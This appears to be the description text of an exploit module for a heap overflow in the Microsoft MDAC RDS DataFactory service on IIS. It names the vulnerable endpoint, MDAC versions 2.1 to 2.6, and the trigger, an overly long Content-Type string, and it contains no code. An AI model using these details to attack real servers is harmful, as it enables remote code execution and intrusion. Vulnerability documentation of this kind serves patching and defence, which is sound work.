    					This module can be used to execute arbitrary code on IIS servers
    					that expose the /msadc/msadcs.dll Microsoft Data Access Components
    					(MDAC) Remote Data Service (RDS) DataFactory service. The service is
    					exploitable even when RDS is configured to deny remote connections
    					(handsafe.reg). The service is vulnerable to a heap overflow where
    					the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
    					Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
